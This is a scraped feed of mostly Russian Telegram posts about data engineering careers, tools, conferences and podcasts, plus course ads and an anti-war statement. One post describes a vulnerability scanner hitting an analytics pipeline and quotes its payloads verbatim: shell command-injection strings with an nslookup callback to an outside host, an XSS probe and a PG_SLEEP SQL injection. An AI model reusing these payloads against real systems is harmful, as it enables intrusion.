ВойнаЯ никогда не был «вне политики». Но предпочитал не транслировать свои взгляды публично. К сожалению, это время прошло.Вторжение России в Украину — это преступление против обеих стран. Это предательство России, ее интересов и граждан. Это преступление против Украины и ее граждан. Это преступление против мира.Если вы против войны — не молчите, заявите об этом. Необязательно выходить на улицу под дубинки полицейских. Напишите вашему депутату. Если ведете соцсети — напишите там. Подпишите петицию.Сейчас кто молчит — одобряет. Не молчите.Позволит ли конкретно ваш одинокий голос остановить войну? Конечно, нет. Руководству страны плевать на любые петиции. Но он поможет другим увидеть, что они…

IT — это для скучных и некреативных людей. Не согласен? Мы тоже! Поэтому «Лаборатория Касперского» запускает новый проект People in tech, чтобы разрушить главные стереотипы об IT-индустрии. На проекте профессиональные эксперты индустрии раскрывают секреты своего карьерного пути и бросают вызов популярным заблуждениям: ● работа в IT — это скучно и однообразно; ● в IT нет места девушкам; ● нет креативных и творческих задач; ● в IT работают только интроверты; ● нетехнические специальности не востребованы в IT-корпорации. Переходите по ссылке и узнавайте реальные факты об IT 😉

Понятная пятница в английском: скидка 10% на курсы для аналитиков и разработчиков.В английском много противоречий. Можно учиться на продвинутом уровне — и сохранять разговорный барьер. Или повторять по кругу одни и те же правила. В результате непросто заметить прогресс и оценить, сколько ещё впереди. А мы выручим с этим.Практикум учитывает эти противоречия и проектирует прозрачный процесс обучения с предсказуемым результатом. Выберите подходящий курс и оплатите его со скидкой до 15 декабря: https://practicum.yandex.ru/english/clearfriday2022

6.12 / 19:00 по мск / Avito Analytics meetup #8 / clc.to/nIyFjgАналитики Авито, СберМаркета и Lamoda расскажут о работе с данными. В программе много кейсов! Реклама. ООО «Авито Тех». JapBIAMbv

Data Secrets — первый журнал в области науки о данных. Machine Learning, Data Science, AI - знакомые слова, но считаешь, что это очень сложно? Здесь мы на практических примерах освещаем последние достижения в этой области и учим азам: — рекомендательные системы— прогнозирование временных рядов— генерация фото/видеоПрисоединяйся: @data_secrets

В прошлом году проходил митап по аналитике от EXPF x Delivery Club. На митапе ребята много говорили про оценку экспериментов, так что эти доклады будут полезны аналитикам, которые в своей работе сталкиваются с проведением тестирований и анализом результатов тестов. Я делился анонсом трансляции, но анализируя прошлые посты, понял, что не поделился записями докладовИсправляюсь:1️⃣«Что делать, если возникли сомнения, подходит ли твой критерий для твоего теста (а они должны возникать!)», Тимур Исмагилов, Avito2️⃣«Платформа switchback-экспериментов в Ситимобил», Артём Солоухин, Cитимобил3️⃣«Как мы ищем точки роста в продукте: пошаговая инструкция», Владимир Абазов, Delivery Club4️⃣«Скрытая угроз…

Как использовать легковесные кластеры Apache Spark для гибкого управления ресурсами?1 декабря мы расскажем о возможностях сервиса Yandex Data Proc, где вы можете развернуть кластеры Apache Spark. Узнайте, как одновременно достичь высокой производительности в пиковые периоды и экономить затраты во время простоя.Также мы покажем, как организовать хранение данных в S3 и преобразовывать их с помощью SQL-запросов. Поделимся планами и направлениями развития сервиса.Участие бесплатное.➡️ Регистрируйтесь на вебинар

Вчера на вебинаре с Артёмом Исакиным и Ритой Нижельской поговорили про различия между аналитиками данных и аналитиками требований (бизнес- и системными)Подробно рассказали:🟢 какие навыки нужны в этих профессиях🟢 что нужно на входе, чтобы начать карьеру🟢 на что смотрят работодатели про трудоустройстве https://www.youtube.com/watch?v=aE1X1KlKJZ8

Запись вебинара с мероприятия «Управляемый сервис YDB: настройка, применение, мониторинг»🔩 YDB — реляционная СУБД, которая была разработана в Яндексе. YDB позволяет создавать интерактивные приложения, которые можно быстро масштабировать, когда растёт нагрузка и объём данных. Применение YDB как управляемого сервиса позволяет разработчикам и архитекторам сосредоточиться на бизнес-задачах, а команда Yandex Cloud возьмёт на себя заботы о надёжности, производительности и ресурсной эффективности баз данных.На вебинаре показали, как:— начать работу с сервисом;— подключить приложения и настроить аутентификацию;— контролировать потребление ресурсов;— работать с доступными инструментами мониторинга;—…

➡️Прогноз LTV: как выбрать модель и оценить результатНа ютубе появилась запись вебинара от команды предиктивной аналитики MyTrackerНа вебинаре обсуждали:▶️зачем нужен прогноз LTV;▶️как выбрать модель под разные кейсы;▶️как правильно оценивать прогноз;▶️какие есть ограничения и критерии применимости моделей.Ссылка на вебинар 🚛 https://www.youtube.com/watch?v=e8JKKAjWoqw

Завтра (21.11.2022) буду рассказывать на вебинаре Яндекс.Практикума кто такие аналитики данных и почему аналитик данных ≠ продуктовый аналитик, но зато любой продуктовый аналитик = аналитик данныхТакже Рита Нижельская (экс-руководитель команды системных аналитиков в «Мегафон») расскажет про различия между бизнес-аналитиками и системными аналитикамиПоговорим про:🟢 какие навыки нужны в этих профессиях🟢 что нужно на входе, чтобы начать карьеру🟢 на что смотрят работодатели про трудоустройстве Ну и поотвечаем на вопросы аудитории, конечно. Это всегда самое интересное)⏩Регистрироваться тутНачало в 15:00

🤔Что общего у бортпроводников, хирургических бригад и успешных специалистов по анализу данных? Все они используют читлисты. Читлисты – это шпаргалки, в которых собраны базовые действия. Несмотря на то, что каждая операция, каждый проект и каждый полет имеют свои особенности, во всех этих вещах есть необходимые основные шаги.Мы собрали для вас шпаргалки по Python для анализа данных, чтобы вам не пришлось тратить время на поиск банальных функций: 🔷 Numpy. Практически в каждом проекте по анализу данных есть вычисления с помощью этого модуля. Numpy помогает при работе с массивами, матрицами, операциями из линейной алгебры и другими математическими вычислениями. Сохраняйте шпаргалку по Numpy отс…

Главное BI-событие декабря — Yandex DataLens Festival!5-16 декабряФестиваль — это 2 недели видеоуроков и полезных материалов от экспертов, которые помогут:🔹разобраться в тонкостях и нюансах работы с DataLens;🔹сравнить сервис с другими решениями;🔹спланировать переезд на новую BI‑систему как отдельных дашбордов, так и целых аналитических систем.Помимо этого вас ждут живые Q&A-сессии, кейсы реальных проектов, конкурс и сюрпризы для победителей.Получите знания для построения полноценной системы бизнес-аналитики и прокачайте свои скиллы по работе с дашбордами.Участие бесплатное, нужно только ➡️ зарегистрироваться

→ 20% скидки на курсы по анализу данных от Яндекса.К Чёрной пятнице Яндекс Практикум подготовил акцию, где можно получить скидку от Яндекса на курсы по анализу данных. Скидка действует только при оплате помесячно или в кредит.Можно стать системным аналитиком, инженером данных, бизнес-аналитиком и продуктовым аналитиком. А ещё — изучить основы математики для аналитиков, SQL и BI-инструменты.Практикум поможет сделать это с помощью четырёх «П»:◾️️ ПрактикаОтработка теории в тренажёре и на учебных проектах.️◾️ ПроектыНесколько самостоятельных исследований или проектов в портфолио, которые покажут, что вы умеете решать рабочие задачи.️ ◾️ПоддержкаНаставники помогут советом и объяснят сложные тем…

🚀 Big Data - действительно полезный канал для всех, кто работает с данными. - огромный набор бесплатных наборов данных - инструменты для работы с данными- обучающие материалы для датасаентистов - лучшие практики Машинного Обучения- перевод книг и статей🔥 Подписаться

Дата инжиниринг – одна из самых сложных и востребованных профессий в области данных. В новом выпуске подкаста Data Heroes мы поговорим с инженерами данных и наконец-то узнаем, чем именно они занимаются 🚀 В этом эпизоде мы поговорим о важности роли дата инженера в бизнес-процессах, а также сложностях и нюансах специализации. Наши эксперты поделятся своим бесценным опытом и расскажут о: ▪️Своем извилистом пути в профессию ▪️Современном дата инжиниринге и о том, как он отличается от компании к компании ▪️Сходствах и различиях в ролях аналитика и дата инженера и о том, когда эти роли можно совмещать ▪️Важности софт-скиллов для дата инженера БОНУС: Как и всегда, наши спикеры дадут полезные реком…

Я тут в подкаст сходил, в очередной раз рассказать свою историю 😄Приходите послушать =)

https://boringtechnology.club/У нас тут в чатиках инженеров главные срачи это что “питухон херня”, “кликхаус надо закопать” и “погромисты что-то наговняколи”. Проблема всех этих споров - они ни к чему не приводят. Людя любят фокусироваться на конкретных технологиях, вместо того , чтобы задавать вопрос “Зачем мы это делаем?”. В тысячный раз повторю, чем больше у вас опыта и вы выше по карьерной лестнице, тем важней стоновятся софт-скиллы, а технические теряют свой вес (конечно, они тож важны, не то, чтобы надо забыть, как писать SQL запрос).Сейчас выгляжу как ментор в белом пальто, вещая со своей колокольни, конечно же =)Ну да ладно, по ссылке выше - замечательное решение для всех этих споро…

Все хотят быть Analytics Engineer!https://benn.substack.com/p/why-do-people-want-to-be-analyticsВот наткнулся я на такую вот статью. И сходу там такое заявление:So naturally, ten years later, the new sexiest job of the twenty-first century, the job that analysts want to graduate into, is…the analytics engineer, whose primary responsibility is cleaning and modeling messy data. For an analytics engineer, success is a humming system, a clean codebase, and the satisfying tick of dbt jobs completing in your terminal.Сижу и чешу репу, ведь это очень похоже на Data Engineers. Или я окончательно запутался, кто и чем занимается, или наоборот, я еще сильней прав в том, что DWH Engineer, ETL Engineer,…

https://www.wsj.com/articles/meta-is-preparing-to-notify-employees-of-large-scale-layoffs-this-week-11667767794Кажется, неделя будет очень непростой. Даже Венгр подтверждает, что данное событие случится, Мета впервые за 18 лет проведет сокращения[email protected]

Две картинки о том, что происходит в IT мире. Точнее в FAANG и около компаниях (это ведь все-таки не весь IT мир). Но некий тренд и куда ветер будет дуть дает понять.В обоих случаях сравнивается TC (Total Comp) в $350к / год, то есть Base Salary ($200k / год) + Stocks ($150k / год) и то, как оно примерно изменилось.На первой картинке Март 2021 vs Март 2022На второй картинке Март 2021 vs Октябрь [email protected]

SmartData 2022Я скучал по оффлайн конференциям. И пусть сегодня нас не так много, все равно рад всех видеть.Если вы тут, подходите, дергайте за рукав, давайте знакомиться и общаться[email protected]

https://www.deepchannel.com/posts/bringing-autocomplete-to-analytics-engineersДля всех фанатов dbt: тут вот делают IDE для него, в которой обещают не только автокомплит, но и еще кучку всяких функций прикольных[email protected]

Тут прошел недавно Coalese - конференция по DE и Аналитике.Видеозаписи, конечно же, доступны на Youtube (на минуточку, 183 записи).Но мне понравились парочка докладов не связанных напрямую с инжинирингом, а с карьерным развитием.1. Excel at nothing: How to be an effective generalistЭто как раз про тех специалистов, которые не T-shape, а как расческа, перевернутое Ш 😄2. Clearing the path: a career progression for individual growthПро карьерное планирование и как фокусироваться на том, что поможет вам расти[email protected]

https://www.starburst.io/info/trinosummit/Для тех, у кого Trino / Presto в продакшене, 10 ноября будет конференция от Starburst (это одни из главных контрибьюторов / внедренцев Trino).Самое интересное для меня - Iceberg, а там аж целых два доклада на эту тему.Онлайн и бесплатно[email protected]

https://benn.substack.com/p/how-dbt-fails“На небесах только и разговоров, что о море о dbt”.Если вы хоть немного смотрите ютуб и читаете профессиональные статьи, вы могли слышать о dbt. Он был создан, чтобы спасти нас с нашими огромными трансформациями в ETL, навесить проверки качества и чуть ли не линедж делать и документация автоматическая.Однако не все так очевидно и замечательно, и вот у меня наконец дошли руки до того, чтобы прочитать критику про этот тул.Но даже при всем этом, пока у него больше плюсов, чем минусов. Хотя мб потому что мы не платим за него и пока его использование только в самом начале?)Но если вы вдруг хотите его использовать, то в телеграме есть сообщество на русском…

Это было очень забавный и интересный опыт на конференции: я уже был зрителем, я работал на стенде, я был организатором, я был в программном комитете и выбирал доклады, а вот наконец-то, я в телеэкране.Это пока лишь panel talk & quiz game, но все же. Медленно, но верно идем к собественному докладу.Посмотреть повтор можно тут:https://smartdataconf.ru/schedule/video?v=MTAwMTQwwooyMDAwMTE0OMKKMAНу и проголосовать за меня в голосовалке 😊

Вот так, ты планируешь и готовишься к одному, а приходится адаптироваться под изменившиеся обстоятельства. Pun intended.😄Потому что я планировал выступать на SmartData со своим докладом, но обстоятельства изменились.Однако жизнь подкинула других возможностей, за которые я решил ухватиться.Поэтому завтра буду учавствовать в одной из активностей на SmartData - “Своя Игра”. Буду самым глупым, заработаю 0 баллов, зато умных людей послушаю 😊А вы приходите слушать меня, потому что второй день конференции, Community Day, будет бесплатным.Зарегистрироваться по ссылке выше[email protected]

https://www.youtube.com/watch?v=-EbDGTXEsz4Seattle Data Guy рассказывает про то, какие “плюшки” в работе DE в FAANG есть, чего нет в других компаниях. У меня оч странное ощущение от видоса, такое ощущение, что как будто какой-то другой пузырь (и по классике, кликбейтный заголовок и превьюха). Давайте разберем по пунктам:- “Мне приходилось делать джойны из разных источников и там, о боже, не совпадали ключи. А в Facebook не надо было, там все было одинаково”.Мне казалось, что все давным давно уже научились и переболели этой болезнью называть одну и ту же сущность по разному и в разных форматах класть ее. А даже если у вас есть еще такое (что тоже норм), у вас есть этап очистки и подготовки.-…

21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформации…

21 ноября (понедельник) в 20:00 проведу вебинар: 🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀 Вы узнаете: 🔹 Каким образом собирать события организации из Github (Webhook, Airbyte) 🔹 С помощью чего осуществить парсинг, трансформации…

21 ноября (понедельник) в 20:00 проведу вебинар:🚀 Аналитика продуктивности команд разработки на основе данных Github 🚀Вы узнаете:🔹 Каким образом собирать события организации из Github (Webhook, Airbyte)🔹 С помощью чего осуществить парсинг, трансформации, сборку витрин данных (dbt)🔹 Как приготовить метрики: PR Rate, Time to Review / Merge (Looker)Кому подходит:🔹 Начинающим и продолжающим специалистам в области Аналитики данных, Data Engineering🔹 Тем, кто интересуется современными подходами организации Хранилищ Данных🔹 Руководителям команд разработки, менеджерам и даже CTO Результаты:🔹 Познакомитесь с современными инструментами организации DWH🔹 Поймете, как устроены процессы разработки ПО в с…

Databricks - пока понятно то, что ничего непонятноПробую Databricks– Установка в свой аккаунт AWS, сделать может только администратор (это не я) - ОК– Развертывание в Cloud Formation Stack в пару кликов, вроде удобно. Однако очень сложно понять, что происходит и зачем: S3, IAM, Lambda, CopyZips(??)– Сразу поднялись 3 жирных EC2 Instances i3.xlarge (зачем??), явным образом меня об этом не спросили, это не было очевидно– Очень много текста в документации, но хочется поглотить всёКто пользуется Databricks?Какие самые главные советы можете дать?

Важнейшие критерии при выборе Extract – Load решения для интеграции данных в DWHВ публикации резюмирую свои знания:— Каталог поддерживаемых источников и приемников данных.— Метод чтения данных из источников (Extract).— Способы репликации в целевое Хранилище (Load).— Работа с изменениями структуры данных (Schema Evolution).— Трансформации перед загрузкой данных (EtLT).— Тип развертывания решения (Deployment).Буду объяснять и показывать примеры на сервисах, которые использовал сам: Hevo Data, Fivetran, Airbyte. Однако критерии универсальны и применимы для любых других систем подобного класса.Читать на Хабр →#Pipelines #ELT

Новая публикация на Хабр ⬇️⬇️⬇️

26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширование…

Ссылка на YouTube: https://www.youtube.com/watch?v=IS5PIOhXLdk Старт в 20:00

26 октября (среда) в 20:00 проведу вебинар: Работа с ГЕО-данными в DWH: координаты, зоны, агрегация – Привязка событий к зонам на карте города – Агрегирование и аналитика данных с помощью H3 (гексагоны) – Оптмизация расчетов и производительности, кэширование…

26 октября (среда) в 20:00 проведу вебинар:Работа с ГЕО-данными в DWH: координаты, зоны, агрегация– Привязка событий к зонам на карте города– Агрегирование и аналитика данных с помощью H3 (гексагоны)– Оптмизация расчетов и производительности, кэшированиеРасскажу подробно, как это устроено в проекте Wheely, над которым я работаю.Как и зачем индексировать данные (например, с использованием библиотеки H3 от Uber).Выполнение гео-операций, проверка вхождения точки в конкретные зоны (аэропорты, вокзалы, ТЦ, районы города).⬇️ Ссылка на YouTube-трансляцию будет в этом канале

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift) – Requirements to E - L - T – Current setup description – Proof of Concept plan Desired business impact: – Cost effective (at least…

Databricks + Wheely Proof of Concept I will be assessing Databricks as our new data platform (to succeed AWS Redshift)– Requirements to E - L - T– Current setup description– Proof of Concept planDesired business impact:– Cost effective (at least compared to what we currently spend on AWS Redshift reserved flat rate)– Performance gains desired– Extended features support (H3, in-database ML, Advanced analytics, ...)– Access to ecosystem (docs, solutions, code examples, how-to guides)– Democratization of access to data and data-related services: built-in Notebook experience– No degradation (performance, outage, timeouts, job failures) in comparison with current state

Получил отказ"Немного деталей, которые повлияли на наше решение: То что вы применяете бест практики из разработки - это отлично, но для нашей конференции в докладе все же не хватает технического наполнения. Возможно, это потому что мы нацелины больше на инженеров, которые уже очень хорошо знакомы со системой контроля версий, CI/CD и вот это вот все. Нам кажется, что для нашей целевой аудитории доклад не будет иметь прикладной полезности."Технические детали это: "Я говорила про различные вариации b-tree в движках, как пример того, насколько глубокие технические подробности нам интересны"B-tree в аналитических СУБД и больших данных в 2022... Бугага 😂Есть идеи, на какой RU конфе готовы слушать…

Somebody is overwhelming our analytics trying to find security breaches. A brief infrastructure setup: we gather user events data in mobile apps (iOS, Android) and Web via Snowplow trackers, send it to Kafka queues, then land the data into DWH (Redshift) staging area.Looks like a vulnerability scanner is used. Take a look at the sample data:echo bvazvs$()\ igzdlg\nz^xyu||a #' &echo bvazvs$()\ igzdlg\nz^xyu||a #|" &echo bvazvs$()\ igzdlg\nz^xyu||a #bxss.me/t/xss.html?%00`(nslookup hitxbheyywgyq5e37d.bxss.me||perl -e "gethostbyname('hitxbheyywgyq5e37d.bxss.me')")`aUV52Y1o' OR 826=(SELECT 826 FROM PG_SLEEP(15))--^(#[email protected]#$)(()))******Despite basic checks are enforced (non-empty string, valid jso…

Закрывая тему подкастов: оказывается, у Max Beauchemin (Бьюшемин?) тоже есть «свой» подкаст. Макс — автор Airflow и Superset, а подкаст они делают от имени Preset (платная версия их опенсорсного Superset).По ощущениям подкаст очень похож на подход опенсорса: сделай так, чтобы работало, а о фентифлюшках подумаем потом (или сделаем в платной версии, хе-хе): в подкасте присутствует шуршание проводов об одежду и стук клавиш на фоне.Сложно конспектировать, когда нет плана и чёткой темы; очень охоже на разговор на кухне у кулера.Если кто-то коллекционирует тематические подкасты, добавляйте к себе. А пока продолжаем наблюдение.https://podcasts.apple.com/us/podcast/the-analytics-everywhere-podcast/…

Ещё из новостей подкастов: у Самата Галимова вышли два интересных выпуска в подкасте «Запуск завтра»: 1. про российский StackOverflow — как студент сделал сайд-проект в универе, получилось хорошо и это стало основной работой. А потом продал его основателю «основного» StackOverflow — легендарному Джоелю Спольски. 2. про язык Kotlin, который был признан Google основным языком для разработки на Android. Как(и зачем!) в 2010 году в JetBrains захотели сделать свой язык программирования на замену стагнирующей в то время Java. И причём тут Андроид.Оба выпуска слушаются как аудио-книга — невероятная история с поворотами и техническими деталями. Тут вроде нечего конспектировать, надо слушать)

Очереди сообщенийВ подкасте Podlodka вышел выпуск про менеджеры очередей. Зашли с основных понятий и дальше по всем аспектам до антипаттернов проектирования. Рассказывал Владимир Перепелица, архитектор и продакт-менеджер из Tarantool.До сих пор не сталкивался ни с Kafka, ни RabbitMQ, поэтому мне было интересно послушать. Что-то из выпуска записал (как мог):Зачем оно нужно, почему не сделать напрямую: ⁃ декаплинг: источники и потребители данных не связаны напрямую, они ничего не знаю друг о друге, их может быть больше одного с каждой стороны; ⁃ снимает пиковую нагрузку когда потребитель временно недоступен.⌘В целом, чем-то похоже на базы данных: тоже запись и чтение. Иногда даже отдельные бд…

Выпуск Data Coffee про собеседованияТри лида́ обсуджают как они проводят собеседования для инженеров данных: ⁃ Сколько по времени должно быть собеседование — нормально ли заканчивать их досрочно, если по кандидату точно «да» или точно «нет». ⁃ Сколько вообще может быть этапов у процесса найма. ⁃ Чем отличаются задачи для джунов, мидлов и синьоров. С какого-то уровня помимо основных инструментов (SQL+Python/Scala) требуется понимать и общую архитектуру (и альтернативные варианты с их плюсами и минусами). ⁃ Зачем сотруднику присоединятся к клубу собеседующих — прокачивает техническую насмотренность и помогает точнее сориентировать свой уровень относительно других. ⁃ И отдельно про навык прогов…

🥸 короткий и дельный совет от Игоря Мосягина — добавлять эмоджи в отладочные логи, чтобы было заметнее это из доклада на конференции SmarData — там сегодня community day, можно посмотреть доклады бесплатно 👀

Каюты с муми-троллямиПокупал билеты на паром для семьи. При бронировании можно было выбрать простую каюту или каюту с рисунками с муми-троллями. Ну, думаю, сын оценит рисунки, будет как-то повеселее, тем более цена за каюты одинаковая.По факту оказалось, что у кают и расположение похуже, и общее состояние можно описать как «пошарпанное». У нас, как клиентов, опыт использования обычной каюты оказался лучше, чем «особенной» — кажется, это не тот результат, на который рассчитывали.Пока плыли, пришёл к тому что фичу с тематической каютой неправильно зарелизили в прод!Допустим, на корабле обычных кают такого класса 1000, из них 10 с муми-троллями. При этом заполняемость парома не 100% (в непиков…

Есть ли смысл переезжать? — Senior Software Vlogger Посмотрел ёмкий ролик про релокацию айтишника в другую страну. Записал себе такие пункты: • Для переезда нужно большая сумма: 5-10К $ • Снять жилье — как неместного попросят предоплату за 1-3 месяца • Экономить не получится — местные-то знают где что и как, а вы — пока нет • Две средних зарплаты — больше чем одна синьорская. Сколько членов вашей семьи будет работать? Если на текущем месте работают двое, а будет только один — это точно будет даунгрейд • Внимательно выбирать страну по набору критериев (учитывая их динамичность)https://www.youtube.com/watch?v=Xh5kzxvONtwЭто был «нулевой» урок из курса «Вы приняты», который Дима делает совмест…

Английский в вакууме не котируетсяКогда искал первую работу, думал что могу просить больше просто за тот факт, что знаю английский. Типа как при покупке техники в магазине: набираешь разных опций и за каждую общая цена увеличивается на сколько-то.Поработав какое-то время, понял, что за всё время никто меня так и не попросил поговорить по английски или прочитать что-то. Так это не работает.Просто так складывается, что всё самое новое и интересное в отрасли сначала публикуется на английском. Если интересна отрасль, то идешь и изучаешь.То есть я думал, что связь прямая:английский → больше зараплатаА на самом деле она косвенная:английский → изучаешь новое в первоисточниках → применяешь на практ…

подкаст Data Heroes о релокейте и переезде в другую странуПослушал два выпуска на схожие темы. Интересно, что они были записанных ещё весной, а до сих пор актуальны (тут мой внутренний мастер экстраполяций хочет сделать однозначный и долгосрочный прогноз).Кажется, что рванули те, у кого были физические симптомы на окружающую действительность и/или те, кто уже давно обдумывал потенциальную поездку.Уехавшие сталкиваются со сложностями во всём: ⁃ найти жильё по приемлемой цене ⁃ перевести рубли в местные деньги ⁃ привыкнуть к другому уровеню жизни и сервисаЦены на жильё подскочили из-за возвросшего спроса (где-то звучат оценки типа в 3-5 раз).Карты российских банков не принимают зарубежом, поэ…

Данные как продуктНа прошлом Матемаркетинге был доклад типа «как научить всех SQL», чтобы разгрузить дата-инженеров от выгрузок а-ля select * from table в эксель.Представьте ситуацию, когда все вокруг действительно знают SQL (и иногда даже лучше инженеров).Добавьте к этому SQL-диалект, где можно задавать переменные и писать кастомные функции.Плюс общедоступные запускаторы кастомных скриптов с низким порогов входа (всё настраивается через кубики в веб-админке).И мы получаем глобальную песочницу, где стопицот аналитиков и менеджеров создали over 9000 выгрузок, таблиц и витрин, где потом сами считают нужные показатели с нужными разрезами к нужному часу.Мы тут это называем «теневым» DWH.И получ…

Про отношения с источникамиРабота с источниками — это не только написать пайплайн, который забирает данные.Иногда перед экстрактом надо доработать схему данных на источнике: например, добавить created_ts/updated_ts или проставлять флаг удаления вместо бесследного уничтожения строки.И даже после того как пайплайн написан и поставлен на регулярный запуск тоже есть задачи: например, добиться, чтобы схема данных не менялась неожиданно. Для разработчиков на источнике тоже может быть новостью, что их данными теперь пользуется кто-то чужой, что эти данные больше не их единоличная собственность и теперь на них завязаны внешние процессы.Колонки в схеме могут поменять название или даже содержимое, по…

Послушать: советы по ML Ops из Moscow Python сами по себе МЛ-модели — это малая доля работы всего этого вашего машин-лёрнинга. До этого надо ещё собрать данные, их почистить и подготовить (ну вы знаете); обучить модель «на коленке», а потом переписать этот…

Уровни аналитиков Женя Козлов описал опыт Яндекса по формализации грейдов для аналитиков. Написано очень чётко, можно использовать как шпаргалку для команд или личного развития. Понравилось чёткое разделение каждого грейда в разрезе подхода к задачам (мелко…

Reversed Orchestration Ben Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dag Одна…

Reversed OrchestrationBen Stancil в очередном выпуске свой рассылки рассуждает о недостатках текущего подхода к оркестрации как цепочек зависимых тасков, начиная от входных слоёв и заканчивая витринами. https://benn.substack.com/p/down-with-the-dagОдна из проблем — в увеличивающимся количестве графов, тасков и сущностей:> In 2022, data engineers manage forests, not trees В качестве демонстрации несовершенства подхода он предлагает попробовать спроектировать терминал аэропорта принципам как цепочку задач, выстраивая одну за другой последовательно. В аэропорт входят люди → вызываем сотрудников на стойку регистрации → 100 человек собирается у гейта → подкатываем самолёт и грузим багаж → все по…

The data ecosystem has been growing rapidly, with new communities joining and bringing their preferred programming languages to the mix. This has led to inefficiencies in how data is stored, accessed, and shared across process and system boundaries. The Arrow project is designed to eliminate wasted effort in translating between languages, and Voltron Data was created to help grow and support its technology and community. In this episode Wes McKinney shares the ways that Arrow and its related projects are improving the efficiency of data systems and driving their next stage of evolution.

The most expensive part of working with massive data sets is the work of retrieving and processing the files that contain the raw information. FeatureBase (formerly Pilosa) avoids that overhead by converting the data into bitmaps. In this episode Matt Jaffee explains how to model your data as bitmaps and the benefits that this representation provides for fast aggregate computation. He also discusses the improvements that have been incorporated into FeatureBase to simplify integration with the rest of your data stack, and the SQL interface that was added to make working with the product easier.

The majority of blog posts and presentations about data engineering and analytics assume that the consumers of those efforts are internal business users accessing an environment controlled by the business. In this episode Ian Schweer shares his experiences at Riot Games supporting player-focused features such as machine learning models and recommeder systems that are deployed as part of the game binary. He explains the constraints that he and his team are faced with and the various challenges that they have overcome to build useful data products on top of a legacy platform where they don't control the end-to-end systems.

The problems that are easiest to fix are the ones that you prevent from happening in the first place. Sifflet is a platform that brings your entire data stack into focus to improve the reliability of your data assets and empower collaboration across your teams. In this episode CEO and founder Salma Bakouk shares her views on the causes and impacts of "data entropy" and how you can tame it before it leads to failures.

Building data products is an undertaking that has historically required substantial investments of time and talent. With the rise in cloud platforms and self-serve data technologies the barrier of entry is dropping. Shane Gibson co-founded AgileData to make analytics accessible to companies of all sizes. In this episode he explains the design of the platform and how it builds on agile development principles to help you focus on delivering value.

CreditKarma builds data products that help consumers take advantage of their credit and financial capabilities. To make that possible they need a reliable data platform that empowers all of the organization's stakeholders. In this episode Vishnu Venkataraman shares the journey that he and his team have taken to build and evolve their systems and improve the product offerings that they are able to support.

A lot of the work that goes into data engineering is trying to make sense of the "data exhaust" from other applications and services. There is an undeniable amount of value and utility in that information, but it also introduces significant cost and time requirements. In this episode Nick King discusses how you can be intentional about data creation in your applications and services to reduce the friction and errors involved in building data products and ML applications. He also describes the considerations involved in bringing behavioral data into your systems, and the ways that he and the rest of the Snowplow team are working to make that an easy addition to your platforms.

Despite the best efforts of data engineers, data is as messy as the real world. Entity resolution and fuzzy matching are powerful utilities for cleaning up data from disconnected sources, but it has typically required custom development and training machine learning models. Sonal Goyal created and open-sourced Zingg as a generalized tool for data mastering and entity resolution to reduce the effort involved in adopting those practices. In this episode she shares the story behind the project, the details of how it is implemented, and how you can use it for your own data projects.

Business intelligence has grown beyond its initial manifestation as dashboards and reports. In its current incarnation it has become a ubiquitous need for analytics and opportunities to answer questions with data. In this episode Amir Orad discusses the Sisense platform and how it facilitates the embedding of analytics and data insights in every aspect of organizational and end-user experiences.

One of the most impactful technologies for data analytics in recent years has been dbt. It's hard to have a conversation about data engineering or analysis without mentioning it. Despite its widespread adoption there are still rough edges in its workflow that cause friction for data analysts. To help simplify the adoption and management of dbt projects Nandam Karthik helped create Optimus. In this episode he shares his experiences working with organizations to adopt analytics engineering patterns and the ways that Optimus and dbt were combined to let data analysts deliver insights without the roadblocks of complex pipeline management.

Agile methodologies have been adopted by a majority of teams for building software applications. Applying those same practices to data can prove challenging due to the number of systems that need to be included to implement a complete feature. In this episode Shane Gibson shares practical advice and insights from his years of experience as a consultant and engineer working in data about how to adopt agile principles in your data work so that you can move faster and provide more value to the business, while building systems that are maintainable and adaptable.

The database market has seen unprecedented activity in recent years, with new options addressing a variety of needs being introduced on a nearly constant basis. Despite that, there are a handful of databases that continue to be adopted due to their proven reliability and robust features. MariaDB is one of those default options that has continued to grow and innovate while offering a familiar and stable experience. In this episode field CTO Manjot Singh shares his experiences as an early user of MySQL and MariaDB and explains how the suite of products being built on top of the open source foundation address the growing needs for advanced storage and analytical capabilities.

Logistics and supply chains are under increased stress and scrutiny in recent years. In order to stay ahead of customer demands, businesses need to be able to react quickly and intelligently to changes, which requires fast and accurate insights into their operations. Pathway is a streaming database engine that embeds artificial intelligence into the storage, with functionality designed to support the spatiotemporal data that is crucial for shipping and logistics. In this episode Adrian Kosowski explains how the Pathway product got started, how its design simplifies the creation of data products that support supply chain operations, and how developers can help to build an ecosystem of applic…

The "lakehouse" architecture balances the scalability and flexibility of data lakes with the ease of use and transaction support of data warehouses. Dremio is one of the companies leading the development of products and services that support the open lakehouse. In this episode Jason Hughes explains what it means for a lakehouse to be "open" and describes the different components that the Dremio team build and contribute to.

The core of any data platform is the centralized storage and processing layer. For many that is a data warehouse, but in order to support a diverse and constantly changing set of uses and technologies the data lakehouse is a paradigm that offers a useful balance of scale and cost, with performance and ease of use. In order to make the data lakehouse available to a wider audience the team at Iomete built an all-in-one service that handles management and integration of the various technologies so that you can worry about answering important business questions. In this episode Vusal Dadalov explains how the platform is implemented, the motivation for a truly open architecture, and how they hav…

For our fourth season, we focus on connected health and how data & AI augment and improve our daily health. While we’re at it, we’ll be enjoying our morning brew.Shayna Powless and Eli Ankou, professional cyclist for L39ion of Los Angeles and defensive tackle for the Buffalo Bills, respectively, provide valuable insight on how professional athletes leverage data to improve their performance and how they combine their passion for sports with the Dreamcatcher Foundation.See more at databricks.com/data-brew

